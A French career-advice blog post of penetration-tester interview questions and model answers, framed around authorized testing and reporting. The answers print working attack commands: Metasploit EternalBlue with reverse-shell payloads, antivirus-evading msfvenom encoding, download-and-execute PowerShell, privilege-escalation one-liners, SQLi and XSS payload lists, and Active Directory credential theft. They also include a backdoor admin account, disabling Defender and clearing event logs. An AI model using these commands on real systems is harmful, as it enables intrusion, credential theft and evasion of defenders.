décembre 21, 2025
16 min de lecture

Questions d'entretien pour testeur d'intrusion

interview
career-advice
job-search
Questions d'entretien pour testeur d'intrusion
Milad Bonakdar

Milad Bonakdar

Auteur

Préparez vos entretiens de testeur d'intrusion avec des questions pratiques sur le cadrage, la reconnaissance, la priorisation des vulnérabilités, Burp Suite, Metasploit, les API, Active Directory et le reporting.

Introduction

Une bonne réponse en entretien de testeur d'intrusion montre trois choses : vous savez travailler dans un périmètre autorisé, tester avec méthode et expliquer le risque de façon utile aux équipes techniques comme métier.

Utilisez ces questions pour vous entraîner sur les parties pratiques du rôle : cadrage, reconnaissance, priorisation des vulnérabilités, Burp Suite, Metasploit, tests d'API, Active Directory et reporting. Gardez des réponses centrées sur des tests autorisés, des preuves claires et la remédiation.

Fondamentaux des tests d'intrusion

1. Quelles sont les phases d'un test d'intrusion ?

Réponse : Une bonne méthodologie commence avant tout scan. Confirmez d'abord l'autorisation écrite, le périmètre, les règles d'engagement, les fenêtres de test, les limites de traitement des données et les contacts d'urgence. Ensuite, testez de manière reproductible :

1. Cadrage et planification :

  • Confirmer l'autorisation écrite, les cibles, les exclusions et les règles d'engagement
  • Définir les objectifs, critères de réussite, canaux de communication et conditions d'arrêt

2. Reconnaissance et découverte :

  • Collecter des informations passives et actives
  • Identifier les hôtes, services, parcours applicatifs, rôles utilisateur et surface exposée

3. Analyse des vulnérabilités :

  • Relier les constats à l'impact métier et à l'exploitabilité
  • Valider manuellement les résultats de scanner avant d'en faire des constats

4. Exploitation et post-exploitation :

  • Exploiter uniquement les faiblesses dans le périmètre et nécessaires pour prouver l'impact
  • Vérifier les limites de privilèges, les chemins de mouvement latéral et l'exposition des données sans dépasser les règles

5. Rapport, nettoyage et retest :

  • Documenter les preuves, l'impact, les étapes de reproduction et la remédiation
  • Supprimer les artefacts de test, débriefer les parties prenantes et retester les corrections si demandé
Loading diagram...

Exemple de reconnaissance :

# Reconnaissance passive
whois target.com
nslookup target.com
dig target.com ANY

# Reconnaissance active
nmap -sn 192.168.1.0/24  # Découverte des hôtes
nmap -sV -sC target.com  # Détection des services/versions

Fréquence : Très courant Difficulté : Moyenne

Évaluation des vulnérabilités

2. Comment hiérarchisez-vous les vulnérabilités ?

Réponse : Utilisez CVSS comme point de départ, puis ajustez avec l'exploitabilité, l'importance de l'actif, la sensibilité des données, l'exposition, les contrôles compensatoires et l'exploitation active connue. En entretien, il faut montrer que vous ne traitez pas tous les résultats de scanner comme équivalents.

Score CVSS :

  • Critique (9.0-10.0) : Exécution de code à distance, contournement de l'authentification
  • Élevée (7.0-8.9) : Injection SQL, XSS avec accès aux données
  • Moyenne (4.0-6.9) : Divulgation d'informations, CSRF
  • Faible (0.1-3.9) : Fuite d'informations mineure

Facteurs de hiérarchisation :

def calculate_risk_score(vulnerability):
    """Calculer le score de risque pour une vulnérabilité"""
    # Score CVSS de base
    cvss_score = vulnerability.cvss_score
    
    # Exploitabilité
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # Criticité de l'actif
    asset_value = {
        'critical': 3.0,  # Base de données de production
        'high': 2.0,      # Application web
        'medium': 1.5,    # Outil interne
        'low': 1.0        # Environnement de test
    }[vulnerability.asset_criticality]
    
    # Sensibilité des données
    data_sensitivity = {
        'pii': 2.0,       # Données personnelles
        'financial': 2.5, # Informations de paiement
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # Plafonner à 10

Fréquence : Très courant Difficulté : Moyenne

Metasploit

3. Comment utilisez-vous Metasploit pour exploiter une vulnérabilité ?

Réponse : Flux de travail du framework Metasploit :

Exploitation de base :

# Démarrer Metasploit
msfconsole

# Rechercher un exploit
search ms17-010  # EternalBlue

# Utiliser l'exploit
use exploit/windows/smb/ms17_010_eternalblue

# Afficher les options
show options

# Définir la cible
set RHOSTS 192.168.1.100

# Définir la charge utile
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Vérifier si la cible est vulnérable
check

# Exécuter l'exploit
exploit

Commandes Meterpreter :

# Informations système
sysinfo
getuid

# Élévation de privilèges
getsystem

# Vider les informations d'identification
hashdump
load kiwi
cred_all

# Persistance
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivotement
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Génération de charge utile :

# Générer un shell inversé
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Encoder pour échapper à l'AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Fréquence : Très courant Difficulté : Moyenne-Difficile

4. Comment effectuez-vous une élévation de privilèges ?

Réponse : L'élévation de privilèges exploite les erreurs de configuration pour obtenir des niveaux d'accès plus élevés.

Élévation de privilèges Linux :

1. Énumération :

# Informations système
uname -a
cat /etc/issue
cat /etc/*-release

# Utilisateur actuel et privilèges
id
sudo -l

# Utilisateurs et groupes
cat /etc/passwd
cat /etc/group

# Binaires SUID
find / -perm -4000 -type f 2>/dev/null

# Répertoires accessibles en écriture
find / -writable -type d 2>/dev/null

# Tâches Cron
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Connexions réseau
netstat -antup
ss -tulpn

2. Techniques courantes :

Exploitation SUID :

# Trouver les binaires SUID
find / -perm -u=s -type f 2>/dev/null

# Exemple : Exploitation de find
find /home -exec /bin/sh \; -quit

# Exemple : Exploitation de vim
vim -c ':!/bin/sh'

# Exemple : Exploitation de nmap (anciennes versions)
nmap --interactive
nmap> !sh

Erreur de configuration Sudo :

# Vérifier les permissions sudo
sudo -l

# Exemple de sortie :
# (ALL) NOPASSWD: /usr/bin/vim

# Exploiter vim
sudo vim -c ':!/bin/sh'

# Exemple : LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Exploits du noyau :

# Vérifier la version du noyau
uname -r

# Rechercher des exploits
searchsploit linux kernel 4.4.0

# Exemple : Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Outils automatisés :

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Élévation de privilèges Windows :

1. Énumération :

# Informations système
systeminfo
hostname
whoami /all

# Utilisateurs et groupes
net user
net localgroup administrators

# Processus en cours d'exécution
tasklist /v
wmic process list full

# Services
sc query
wmic service list brief

# Tâches planifiées
schtasks /query /fo LIST /v

# Connexions réseau
netstat -ano

# Logiciels installés
wmic product get name,version

2. Techniques courantes :

Chemins de service non entre guillemets :

# Trouver les chemins de service non entre guillemets
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Exploiter
C:\Program Files\Vulnerable App\service.exe
# Créer un exécutable malveillant à :
C:\Program.exe

AlwaysInstallElevated :

# Vérifier le registre
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si les deux sont à 1, créer un MSI malveillant
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Usurpation de jetons :

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Outils automatisés :

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Exploits du noyau)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Fréquence : Très courant Difficulté : Difficile

Burp Suite

5. Comment trouvez-vous une injection SQL en utilisant Burp Suite ?

Réponse : Test systématique d'injection SQL :

1. Intercepter la requête :

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Envoyer au Repeater : Tester les charges utiles manuelles :

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Utiliser Intruder :

Type d'attaque : Sniper
Position de la charge utile : username=§admin§
Liste des charges utiles :
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Analyser les réponses :

  • Différentes longueurs de réponse
  • Messages d'erreur
  • Délais (SQLi aveugle)

Test avancé :

# Détection d'injection SQL aveugle
import requests
import time

def test_blind_sqli(url, param):
    # Détection basée sur le temps
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] SQLi aveugle trouvé avec la charge utile : {payload}")
            return True
    
    return False

Fréquence : Très courant Difficulté : Moyenne

Test d'application web

6. Comment testez-vous les vulnérabilités XSS ?

Réponse : Approche complète des tests XSS :

Types de XSS :

  1. Réfléchi : Charge utile dans l'URL/formulaire, reflétée immédiatement
  2. Stocké : Charge utile stockée dans la base de données
  3. Basé sur le DOM : Vulnérabilité JavaScript côté client

Méthodologie de test :

1. Identifier les points d'injection :

# Paramètres d'URL
http://target.com/search?q=<script>alert(1)</script>

# Entrées de formulaire
<input name="comment" value="<script>alert(1)</script>">

# En-têtes HTTP
User-Agent: <script>alert(1)</script>

2. Contourner les filtres :

// Charges utiles de base
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Contourner les filtres
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Variation de casse

// Gestionnaires d'événements
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Charges utiles encodées
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Test XSS avec Burp Suite :

Liste des charges utiles Intruder :
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Scan automatisé :

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

Fréquence : Très courant Difficulté : Moyenne

7. Comment testez-vous la sécurité des API ?

Réponse : Le test de sécurité des API se concentre sur l'authentification, l'autorisation et la validation des entrées.

Vulnérabilités API courantes :

1. Authentification cassée :

# Tester un JWT faible
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT avec "alg": "none"
# Modifier la charge utile et supprimer la signature

2. Autorisation cassée :

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Essayer d'autres ID d'utilisateur

# Tester différentes méthodes HTTP
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Affectation de masse :

# Essayer d'ajouter des champs d'administrateur
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

Test d'API REST :

# Test API automatisé
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Tester les vulnérabilités IDOR"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Accessible: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Tester la limitation de débit"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Limitation de débit appliquée après {i} requêtes")
                return True
        
        print("[-] Aucune limitation de débit détectée")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Tester les vulnérabilités d'injection"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Vérifier les erreurs SQL
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Injection SQL potentielle : {payload}")
                print(f"Réponse : {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Tester le contournement de l'authentification"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Contournement d'authentification potentiel : {payload}")

# Utilisation
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

Test GraphQL :

# Requête d'introspection
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}
# Injection GraphQL
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# Attaque par lots GraphQL
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... répéter 1000 fois
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

Fuzzing d'API :

# Utilisation de ffuf pour le fuzzing d'API
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Fuzzing de paramètres
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Fuzzing de méthodes
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite :

// Script de pré-requête Postman
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Script de test Postman
pm.test("Vérifier l'erreur SQL", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

Top 10 des vulnérabilités de sécurité API OWASP :

  1. Autorisation cassée au niveau de l'objet - Tester IDOR
  2. Authentification cassée - Tester les jetons faibles
  3. Exposition excessive des données - Vérifier les données de réponse
  4. Manque de ressources et limitation de débit - Tester DoS
  5. Autorisation cassée au niveau de la fonction - Tester l'élévation de privilèges
  6. Affectation de masse - Tester la pollution des paramètres
  7. Mauvaise configuration de sécurité - Vérifier les en-têtes, CORS
  8. Injection - Tester SQLi, NoSQLi, injection de commandes
  9. Gestion incorrecte des actifs - Trouver les anciennes versions de l'API
  10. Journalisation et surveillance insuffisantes - Vérifier les journaux d'audit

Fréquence : Courant Difficulté : Moyenne-Difficile

Test d'intrusion réseau

8. Comment effectuez-vous un test d'intrusion réseau ?

Réponse : Évaluation réseau structurée :

1. Découverte du réseau :

# Ping sweep
nmap -sn 192.168.1.0/24

# Scan ARP (réseau local)
arp-scan -l

# Identifier les hôtes actifs
netdiscover -r 192.168.1.0/24

2. Scan de ports :

# Scan TCP SYN (furtif)
nmap -sS 192.168.1.100

# Détection de la version du service
nmap -sV 192.168.1.100

# Détection du système d'exploitation
nmap -O 192.168.1.100

# Scan agressif
nmap -A -T4 192.168.1.100

# Tous les ports
nmap -p- 192.168.1.100

3. Scan de vulnérabilités :

# Scripts NSE Nmap
nmap --script vuln 192.168.1.100

# Vulnérabilité spécifique
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus pour un scan complet

4. Exploitation :

# Exploitation SMB
use exploit/windows/smb/ms17_010_eternalblue

# Force brute SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Post-Exploitation :

# Mouvement latéral
# Vidage des informations d'identification
# Élévation de privilèges
# Persistance

Fréquence : Très courant Difficulté : Difficile

9. Comment attaquez-vous les environnements Active Directory ?

Réponse : Active Directory est une cible de choix avec de nombreux vecteurs d'attaque.

Énumération :

# Énumération PowerView
Import-Module PowerView.ps1

# Obtenir les informations du domaine
Get-Domain
Get-DomainController

# Énumérer les utilisateurs
Get-DomainUser
Get-DomainUser -Identity administrator

# Énumérer les groupes
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Trouver les partages
Find-DomainShare -CheckShareAccess

# Trouver les ordinateurs
Get-DomainComputer

BloodHound :

# Collecter des données avec SharpHound
.\SharpHound.exe -c All

# Ou avec PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Télécharger JSON vers l'interface graphique BloodHound
# Analyser les chemins d'attaque vers les administrateurs de domaine

Kerberoasting :

# Demander des tickets de service
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# Ou avec Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Cracker avec hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting :

# Trouver les utilisateurs avec "Ne pas exiger la pré-authentification Kerberos"
Get-DomainUser -PreauthNotRequired

# Demander AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Cracker
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash :

# Utilisation d'Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Utilisation de CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# Vider SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket :

# Exporter les tickets avec Mimikatz
mimikatz # sekurlsa::tickets /export

# Injecter le ticket
mimikatz # kerberos::ptt ticket.kirbi

# Ou avec Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket :

# Obtenir le hachage krbtgt
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Créer un ticket d'or
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Injecter le ticket
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket :

# Obtenir le hachage du compte de service
mimikatz # sekurlsa::logonpasswords

# Créer un ticket d'argent pour un service spécifique
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

Attaque DCSync :

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Mouvement latéral :

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistance :

# Créer un administrateur de domaine
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Ticket d'or (à long terme)
# Ticket d'argent (service spécifique)

# Clé squelette (Mimikatz)
mimikatz # misc::skeleton
# Maintenant, tout utilisateur peut s'authentifier avec le mot de passe "mimikatz"

Évasion de la défense :

# Désactiver Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Effacer les journaux d'événements
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Obfusquer PowerShell
Invoke-Obfuscation

Fréquence : Courant Difficulté : Difficile

Rapport

10. Que doit inclure un rapport de test d'intrusion ?

Réponse : Structure de rapport complète :

Résumé exécutif :

  • Conclusions de haut niveau
  • Impact commercial
  • Aperçu des risques
  • Recommandations

Détails techniques :

Constat d'exemple : Injection SQL dans le formulaire de connexion

Gravité : Critique (CVSS 9.8)

Description : Le formulaire de connexion à /admin/login est vulnérable à l'injection SQL, permettant aux attaquants de contourner l'authentification et d'accéder au panneau d'administration.

Actif affecté :

Preuve de concept :

POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

Impact :

  • Accès non autorisé au panneau d'administration
  • Accès aux données sensibles des clients
  • Compromission potentielle de la base de données

Correction :

  1. Utiliser des requêtes paramétrées
  2. Mettre en œuvre la validation des entrées
  3. Appliquer le principe du moindre privilège à l'utilisateur de la base de données

Fréquence : Très courant Difficulté : Moyenne

Conclusion

Les entretiens avec les testeurs d'intrusion nécessitent une expérience pratique et des connaissances techniques approfondies. Concentrez-vous sur :

  1. Méthodologie : Approche de test structurée, documentation
  2. Évaluation des vulnérabilités : Hiérarchisation des risques, score CVSS
  3. Outils : Metasploit, Burp Suite, Nmap, scripts personnalisés
  4. Élévation de privilèges : Techniques Linux et Windows, outils d'automatisation
  5. Test web : Injection SQL, XSS, contournement de l'authentification
  6. Test API : Sécurité REST/GraphQL, failles d'autorisation
  7. Test réseau : Scan, exploitation, mouvement latéral
  8. Active Directory : Kerberoasting, Pass-the-Hash, BloodHound
  9. Rapport : Documentation claire, impact commercial, correction

Entraînez-vous dans des labs légaux et des applications volontairement vulnérables, construisez une checklist de test reproductible et pratiquez la rédaction de constats aussi sérieusement que l'exploitation. Les meilleurs candidats montrent du jugement : quand s'arrêter, comment prouver l'impact sans risque inutile et comment aider l'équipe à corriger.

Newsletter subscription

Conseils de carrière hebdomadaires qui fonctionnent vraiment

Recevez les dernières idées directement dans votre boîte de réception

Articles Connexes

Questions d’entretien Senior Data Analyst : SQL, dashboards et parties prenantes
déc. 21, 2025
20 min de lecture

Questions d’entretien Senior Data Analyst : SQL, dashboards et parties prenantes

Préparez vos entretiens de Senior Data Analyst avec des questions concrètes sur SQL avancé, expérimentation, qualité des données, tableaux de bord, métriques et arbitrages métier.

Milad BonakdarMilad Bonakdar
Questions d’entretien architecte cloud : architecture, migration, sécurité
déc. 21, 2025
15 min de lecture

Questions d’entretien architecte cloud : architecture, migration, sécurité

Préparez-vous avec des questions concrètes sur le multi-cloud, la migration, les microservices, la reprise après sinistre, le zero trust et les coûts.

Milad BonakdarMilad Bonakdar
Questions d'entretien Data Scientist Senior sur le ML, le produit et le MLOps
déc. 21, 2025
15 min de lecture

Questions d'entretien Data Scientist Senior sur le ML, le produit et le MLOps

Préparez vos entretiens senior avec des questions pratiques sur les arbitrages ML, le feature engineering, le déploiement, le monitoring, les tests A/B et les décisions métier.

Milad BonakdarMilad Bonakdar

Démarquez-vous auprès des Recruteurs et Décrochez Votre Emploi de Rêve

Rejoignez des milliers de personnes qui ont transformé leur carrière avec des CV alimentés par l'IA qui passent les ATS et impressionnent les responsables du recrutement.

Commencer maintenant

Partager cet article

Doublez Vos Rappels d'Entretien

Les candidats qui adaptent leur CV à la description du poste obtiennent 2,5 fois plus d'entretiens. Utilisez notre IA pour personnaliser automatiquement votre CV pour chaque candidature instantanément.

Augmenter Mes Chances